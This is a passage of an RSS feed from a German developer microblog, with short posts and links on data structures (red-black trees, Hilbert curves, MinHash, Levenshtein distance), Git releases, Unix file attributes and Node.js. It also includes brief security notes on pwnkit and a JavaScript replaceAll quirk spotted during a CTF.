</content:encoded><language>de-DE</language><category>npm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/12/0.html</guid><pubDate>Fri, 12 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://news.ycombinator.com/item?id=29177000&quot;&gt;¥ ist in Japan der de-facto-Directory-Separator&lt;/a&gt;, hauptsächlich aus historischen Inkompatibilitäten zwischen ASCII und dem damals verwendeten Encoding in Japan, SHIFT_JIS. Obwohl sie heute UTF-8 nutzen, verwenden sie es weiterhin. Die Geschichten in den Kommentaren sind sehr interessant!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/13/0.html</guid><pubDate>Sat, 13 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessanter Post: &lt;a href=&quot;https://eta.st/2021/03/08/async-rust-2.html&quot;&gt;Why asynchronous Rust doesn&apos;t work&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/13/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/13/1.html</guid><pubDate>Sat, 13 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.agwa.name/blog/post/ssh_signatures&quot;&gt;Bei Git kann man demnächst auch mit dem SSH-Schlüssel signieren&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/15/0.html</guid><pubDate>Mon, 15 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;We demonstrate that it is possible to trigger Rowhammer bit flips on all DRAM devices today despite deployed mitigations on commodity off-the-shelf systems with little effort.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://comsec.ethz.ch/research/dram/blacksmith/&quot;&gt;Ganzer Artikel&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/15/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/15/1.html</guid><pubDate>Mon, 15 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.blog/2021-11-15-highlights-from-git-2-34/&quot;&gt;Highlights from Git 2.34&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/16/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/16/ds.html</guid><pubDate>Tue, 16 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
&lt;a href=&quot;https://en.wikipedia.org/wiki/Red%E2%80%93black_tree&quot;&gt;Rot-Schwarz-Baum&lt;/a&gt; (oder RB-Tree).&lt;/p&gt;
&lt;p&gt;Ist ein selbst-balancierender Suchbaum, der in den meisten Implementierungen einer Map bzw. eines Dictionaries verwendet wird.
Beispielsweise ist &lt;a href=&quot;https://stackoverflow.com/questions/5288320&quot;&gt;&lt;code&gt;std::map&lt;/code&gt;&lt;/a&gt; in den meisten Implementierungen intern ein RB-Tree. Aber auch &lt;a href=&quot;https://opensource.googleblog.com/2013/01/c-containers-that-save-memory-and-time.html&quot;&gt;B-Bäume&lt;/a&gt; und &lt;a href=&quot;https://en.wikipedia.org/wiki/AVL_tree&quot;&gt;AVL-Bäume&lt;/a&gt; werden gern verwendet.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>tree</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/18/0.html</guid><pubDate>Thu, 18 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt manchmal so Sachen, die findet man und denkt sich &quot;wow, das ist wahrscheinlich so ein Basic-Wissen und ich lerne das erst jetzt kennen&quot;. Es ist natürlich normal, dass man Lücken hat.&lt;/p&gt;
&lt;p&gt;Heute wollte ich ein einfaches Problem lösen: Ich habe ein paar Dateien archiviert, die ich nicht veränderbar haben will. Da denkt man sich vielleicht: &quot;Gut, einfach &lt;code&gt;chmod -w &amp;lt;datei&amp;gt;&lt;/code&gt; und da hat sich das&quot;.&lt;/p&gt;
&lt;p&gt;Leider ist dem nicht so. Die Datei kann dann zwar nicht mehr geöffnet und verändert werden, aber sie kann weiterhin &lt;em&gt;überschrieben und verschoben&lt;/em&gt; werden. Vorher habe ich mir ehrlich gesagt noch nie darüber Gedanken gemacht.&lt;/p&gt;
&lt;p&gt;Dieses Problem kann man mit den Unix-Rechten offenbar nicht lösen (wenn doch, schickt mir eine Mail). Stattdessen bin ich relativ schnell auf &lt;a href=&quot;https://wiki.ubuntuusers.de/chattr/&quot;&gt;&lt;code&gt;chattr&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;https://man7.org/linux/man-pages/man1/chattr.1.html&quot;&gt;Man-Page&lt;/a&gt;) gestoßen. Damit kann man, wie der Name auch vermuten lässt, Attribute von Dateien und Ordnern ändern. Der Unterschied ist, dass das ein Feature von Dateisystem ist, das das Dateisystem auch implementieren muss. Außerdem &lt;em&gt;muss&lt;/em&gt; es als Root ausgeführt werden, unabhängig vom Besitzer der Datei.&lt;/p&gt;
&lt;p&gt;Mein Problem konnte ich letztendlich damit lösen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo chattr -R -V +i &amp;lt;file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>unix</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/23/0.html</guid><pubDate>Tue, 23 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL es gibt ein &lt;a href=&quot;https://docs.microsoft.com/de-de/dotnet/api/system.iasyncdisposable?view=net-6.0&quot;&gt;&lt;code&gt;IAsyncDisposable&lt;/code&gt;&lt;/a&gt;, das einfach ein &lt;code&gt;IDisposable&lt;/code&gt; ist, dessen Dispose-Methode asynchron ist.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c-sharp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/11/23/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/11/23/ds.html</guid><pubDate>Tue, 23 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Heute wieder keine Datenstruktur, sondern dieses Mal wirklich nur ein Algorithmus bzw. ein Konzept: Die &lt;a href=&quot;https://en.wikipedia.org/wiki/Hilbert_curve&quot;&gt;Hilbert-Curve&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anwendungsfall: Man ordnet einem Punkt (beliebige Dimension, z. B. einem Punkt in einem Bild) einen Punkt auf einer Kurve zu. Man denkt sich jetzt vielleicht &quot;Toll, das kann ich auch. Einfach die einzelnen Zeilen hintereinander legen&quot;. Die Hilbert-Kurve hat aber eine besondere Eigenschaft: Punkte, die nah beieinander auf der Kurve waren, sind es auch im Ursprungssystem. Man kann deshalb die Länge (und somit die &quot;Auflösung) erhöhen und die Punkte auf der Hilbert-Kurve verlieren nicht ihren räumlichen Bezug.&lt;/p&gt;
&lt;p&gt;Damit kann man z. B. &lt;a href=&quot;https://medium.com/wandera-engineering/how-we-mapped-the-internet-to-discover-carriers-ba9a9ad586e5&quot;&gt;den IPv4-Adressraum&lt;/a&gt; &lt;a href=&quot;https://bl.ocks.org/vasturiano/8aceecba58f115c81853879a691fd94f&quot;&gt;schön plotten&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Da gibt es ein &lt;a href=&quot;https://www.youtube.com/watch?v=3s7h2MHQtxc&quot;&gt;sehr gutes Video&lt;/a&gt; von einem meiner lieblings-Youtuber zu, 3blue1brown.&lt;/p&gt;
&lt;p&gt;Update:
Korrektur der Punktposition, nach Hinweis eines Lesers.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>algorithmus</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/01/0.html</guid><pubDate>Wed, 01 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Empfehlung für einen Webcomic: &lt;a href=&quot;https://webcomicname.com&quot;&gt;webcomicname&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/07/0.html</guid><pubDate>Tue, 07 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tls13.ulfheim.net&quot;&gt;Illustrated TLS Connection; Every byte explained and reproduced&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/07/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/07/ds.html</guid><pubDate>Tue, 07 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Die Circular-Linked-List mit Tail-Verweis (statt Head-Referenz). Ist auch die lieblings-Datenstruktur von Anders Hejlsberg, dem C#-Erfinder, die er &lt;a href=&quot;https://youtu.be/JckLuXcovl8?t=3055&quot;&gt;hier&lt;/a&gt; genauer erläutert. Das ganze Interview ist auch ganz interessant.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>list</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/12/0.html</guid><pubDate>Sun, 12 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://interactionmagic.com/UX-LEGO-Interfaces&quot;&gt;The UX of LEGO Interface Panels&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/14/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/14/ds.html</guid><pubDate>Tue, 14 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Eher ein Algorithmus: &lt;a href=&quot;https://en.wikipedia.org/wiki/MinHash&quot;&gt;MinHash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Damit lassen sich zwei Mengen auf Ähnlichkeit prüfen. Das kann man z. B. verwenden, wenn man zwei Wortmengen hat und rausfinden möchte, ob es ungefähr das gleiche ist. Laut Wikipedia wurde das bei AltaVista verwendet, um Duplikate bei den indizierten Webseiten zu vermeiden.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>list</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/21/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/21/ds.html</guid><pubDate>Tue, 21 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
In Anlehnung an letzte Woche: Die &lt;a href=&quot;https://en.wikipedia.org/wiki/Levenshtein_distance&quot;&gt;Levensthein-Distanz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ein Maß für die Ähnlichkeit zweiter Strings. Grob gesagt gibt es an, wie viele Tasten man auf der Tastatur drücken muss, um von einem String auf den anderen zu kommen (mit Backspace etc).
Es gibt verschiedene Algorithmen, um dieses Maß zu berechnen. Auf Wikipedia ist eine rekursive und eine Matrix-Variante. Sie unterscheiden sich deutlich in der Platzkomplexität.&lt;/p&gt;
&lt;p&gt;Verwenden kann man das z. B: für eine Rechtschreibkorrektur. Oder generell, wenn man Nutzereingaben hat und man weiß, dass Nutzer sich genre vertippen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>list</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/24/0.html</guid><pubDate>Fri, 24 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Laptopsticker-Tipp: &lt;a href=&quot;https://github.com/mkrl/misbrands&quot;&gt;The world&apos;s most hated IT stickers&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/26/0.html</guid><pubDate>Sun, 26 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/spencertipping/jit-tutorial&quot;&gt;How to write a JIT compiler&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/12/28/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/12/28/ds.html</guid><pubDate>Tue, 28 Dec 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Floyds Algorithmus ist auch mehr Algorithmus als Datenstruktur. Er dient dazu, den Anfang eines Zykels in einer verketteten Liste zu finden. Der Zykel kann dabei an einem beliebigen Punkt starten.&lt;/p&gt;
&lt;p&gt;Kennengelernt habe ich ihn über &lt;a href=&quot;https://www.youtube.com/watch?v=pKO9UjSeLew&quot;&gt;diesen Sketch&lt;/a&gt;. Dort wird der Algorithmus etwas anders vorgestellt: Zum Finden eines doppelten Eintrags in einem Array. Im Vergleich zu einem Hash-Set bzw. ähnlichen Varianten hat Floyds algorithmus lineare Zeit &lt;em&gt;und&lt;/em&gt; konstanten Speicher, also schon echt gut.&lt;/p&gt;
&lt;p&gt;In &lt;a href=&quot;https://www.youtube.com/watch?v=9YTjXqqJEFE&quot;&gt;diesem Video&lt;/a&gt; wird der Algorithmus noch mal genauer erklärt. Um zu verstehen, was das macht, hab ich das auch mal &lt;a href=&quot;https://github.com/nikeee/poor-mans-floyd&quot;&gt;in Python implementiert&lt;/a&gt; und gegen zwei naive Implementierungen getestet.
Ergebnis: Das mit dem Speicherverbrauch merkt man sofort -- die lineare Laufzeit kickt nicht so. Vielleicht waren die Daten zu wenig oder ich habe falsch gemessen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><category>algorithmus</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/02/0.html</guid><pubDate>Sun, 02 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://harrisontotty.github.io/p/a-lang-design-analysis-of-holyc&quot;&gt;A Language Design Analysis of HolyC&lt;/a&gt; (das ist die Sprache von &lt;a href=&quot;https://en.wikipedia.org/wiki/TempleOS&quot;&gt;TempleOS&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/03/0.html</guid><pubDate>Mon, 03 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=H0Ek86IH-3Y&quot;&gt;27 Unhelpful Facts About Category Theory&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/06/0.html</guid><pubDate>Thu, 06 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.htmhell.dev&quot;&gt;HTMHell&lt;/a&gt;: A collection of bad practices in HTML, copied from real websites.&lt;/p&gt;
&lt;p&gt;Beispiel: &lt;a href=&quot;https://www.htmhell.dev/32-almost-a-proper-close-button/&quot;&gt;#32 almost a proper close button&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/09/0.html</guid><pubDate>Sun, 09 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.crunchydata.com/blog/five-tips-for-a-healthier-postgres-database-in-the-new-year&quot;&gt;Five Tips For a Healthier Postgres Database in the New Year&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/09/1.html</guid><pubDate>Sun, 09 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://twitter.com/sol_hsa/status/1174233868536356866&quot;&gt;Wie man in OpenGL 1, 3+ und Vulkan ein Dreieck zeichnet&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/20/0.html</guid><pubDate>Thu, 20 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://curl.se/mail/archive-2022-01/0043.html&quot;&gt;cURL kann jetzt JSON&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/21/0.html</guid><pubDate>Fri, 21 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mywiki.wooledge.org/BashPitfalls&quot;&gt;Bash Pitfalls&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/25/0.html</guid><pubDate>Tue, 25 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.blog/2022-01-24-highlights-from-git-2-35/&quot;&gt;Highlights from Git 2.35&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/27/0.html</guid><pubDate>Thu, 27 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://heise.de/-6337936&quot;&gt;Google hat das unbeliebte Projekt FLoC in &quot;Topics&quot; umbenannt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/27/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/27/1.html</guid><pubDate>Thu, 27 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HLI, dass &lt;code&gt;argv[0]&lt;/code&gt; &lt;code&gt;NULL&lt;/code&gt; sein kann. Hintergrund: Man kann beim Syscall &lt;a href=&quot;https://man7.org/linux/man-pages/man2/execve.2.html&quot;&gt;&lt;code&gt;execve&lt;/code&gt;&lt;/a&gt; einfach &lt;code&gt;{NULL}&lt;/code&gt; übergeben. &lt;a href=&quot;https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt&quot;&gt;Das wurde jetzt für PolicyKit relevant und endete in &quot;pwnkit&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Dass &lt;code&gt;argv[0]&lt;/code&gt; &lt;code&gt;NULL&lt;/code&gt; sein kann, haben viele Programme sicherlich nicht auf dem Schirm. Gibt bestimmt auch viele andere betroffene Software.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/27/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/27/2.html</guid><pubDate>Thu, 27 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hugeh0ge.github.io/2019/11/04/Getting-Arbitrary-Code-Execution-from-fopen-s-2nd-Argument/&quot;&gt;Man kann über den 2. Parameter bei &lt;code&gt;fopen&lt;/code&gt; code execution machen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/29/0.html</guid><pubDate>Sat, 29 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://www.etalabs.net/compare_libcs.html&quot;&gt;Comparison of C/POSIX standard library implementations for Linux&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/29/1.html</guid><pubDate>Sat, 29 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bei Node.js-Imports &lt;a href=&quot;https://2ality.com/2021/12/node-protocol-imports.html&quot;&gt;kann man jetzt &lt;code&gt;node:&lt;/code&gt; als Protokoll vor ein Paketnamen schreiben&lt;/a&gt;, um zu verdeutlichen, dass es ein Node-Builtin-Modul ist.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/30/0.html</guid><pubDate>Sun, 30 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/events/visual-studio-code-vs-code-day-2021/keynote&quot;&gt;VS Code an overnight success...10 years in the making&lt;/a&gt; mit &lt;a href=&quot;https://en.wikipedia.org/wiki/Erich_Gamma&quot;&gt;Erich Gamma&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/31/0.html</guid><pubDate>Mon, 31 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/node/pull/41749&quot;&gt;Node.js bekommt ein fetch&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/31/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/31/1.html</guid><pubDate>Mon, 31 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Habt Ihr UB in einem C++-Programm? Oder Implementation-Defined Behavior (IB)? Vielleicht kennt Ihr den Spruch, dass der Compiler absolut alles machen kann, wenn er UB oder IB findet. &lt;a href=&quot;https://feross.org/gcc-ownage&quot;&gt;GCC startet ggf. ein Spiel&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/31/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/31/2.html</guid><pubDate>Mon, 31 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://engineering.linecorp.com/en/blog/the-baseline-for-web-development-in-2022/&quot;&gt;The baseline for web development in 2022&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: The baseline for web development in 2022 is: &lt;em&gt;low-spec Android devices in terms of performance&lt;/em&gt;, Safari from two years before in terms of Web Standards, and 4G in terms of networks. The web in general is not answering those needs properly, especially in terms of performance where &lt;em&gt;factors such as an over-dependence on JavaScript are hindering our sites’ performance&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/01/31/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/01/31/3.html</guid><pubDate>Mon, 31 Jan 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vielleicht habt ihr ja gehört, dass &lt;code&gt;GET&lt;/code&gt;-Requests schon irgendwie Bodys haben können. &lt;a href=&quot;https://evertpot.com/get-request-bodies/&quot;&gt;Das Verhalten ist jedenfalls irgendwie unspezifiziert&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Aktuell gibt es einen Draft zu einer neuen HTTP-Methode: &lt;a href=&quot;https://www.ietf.org/id/draft-ietf-httpbis-safe-method-w-body-02.html&quot;&gt;&lt;code&gt;QUERY&lt;/code&gt;&lt;/a&gt;. Ziel: Ein &lt;code&gt;GET&lt;/code&gt;-Äquivalent mit Body.&lt;/p&gt;
&lt;p&gt;Was ist so toll an &lt;code&gt;GET&lt;/code&gt;? Semantisch sagt es, dass es keine Veränderung an Daten auslöst bzw. man einen Request mehrfach absetzen kann, und er nichts doppelt macht. Auch toll: Man kann ihn deshalb in Reverse-Proxys cachen.&lt;/p&gt;
&lt;p&gt;Das geht mit den anderen Methoden, die einen Body haben (z. B. &lt;code&gt;POST&lt;/code&gt;) nicht. Dafür gibt jetzt bald die neue Methode.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/03/0.html</guid><pubDate>Thu, 03 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://heise.de/-6346958&quot;&gt;Das OS vom Raspberry Pi gibt es jetzt in 64 Bit&lt;/a&gt;. Für den 3er und 4er.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/03/1.html</guid><pubDate>Thu, 03 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.washingtonpost.com/technology/2022/02/02/facebook-earnings-meta/&quot;&gt;Facebook hat zum ersten Mal Nutzer verloren&lt;/a&gt;. Natürlich nicht in ihrer Datenbank, sondern nur in der Anzahl der täglich aktiven Nutzer.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=30186326&quot;&gt;Die Kommentare auf HN&lt;/a&gt; sind auch spannend.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/05/0.html</guid><pubDate>Sat, 05 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Was mir bei einer CTF-Challenge gerade aufgefallen ist und wahrscheinlich dort für die Exploitation wichtig ist, ich aber bisher nicht auf dem Schirm hatte:&lt;/p&gt;
&lt;p&gt;Bei JavaScripts &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll#specifying_a_string_as_a_parameter&quot;&gt;&lt;code&gt;str.replaceAll(a, b)&lt;/code&gt; werden in &lt;code&gt;b&lt;/code&gt; Steuerzeichen wie &lt;code&gt;$&lt;/code&gt; interpretiert&lt;/a&gt;, auch, wenn &lt;code&gt;a&lt;/code&gt; keine RegExp ist:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(&quot;a_b_c_d_e&quot;.replaceAll(&quot;_&quot;, &quot;$`&quot;))
// &apos;aaba_bca_b_cda_b_c_de&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kommt &lt;code&gt;b&lt;/code&gt; also vom User, können damit Werte injiziert werden.&lt;/p&gt;
&lt;p&gt;Für mich ist das unerwartetes Verhalten, da für mich nicht offensichtlich ist, dass der replacement-String in jedem Fall interpretiert wird. Gibt es für sowas Linter-Regeln?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>api-design</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2022/02/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2022/02/07/0.html</guid><pubDate>Mon, 07 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20220207-00/?p=106223&quot;&gt;On finding the average of two unsigned integers without overflow&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enthält auch eine (ehemalig) patentierte Variante.&lt;/p&gt;
&lt;p&gt;Gut gefällt mir auch der untere Part:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Bonus chatter: C++20 adds a std::midpoint function that calculates the average of two values (rounding toward a).
Bonus viewing: &lt;a href=&quot;https://www.youtube.com/watch?v=sBtAGxBh-XI&quot;&gt;std::midpoint? How hard could it be?&lt;/a&gt; (Vortrag geht eine Stunde)&lt;/p&gt;
&lt;/blockquote&gt;
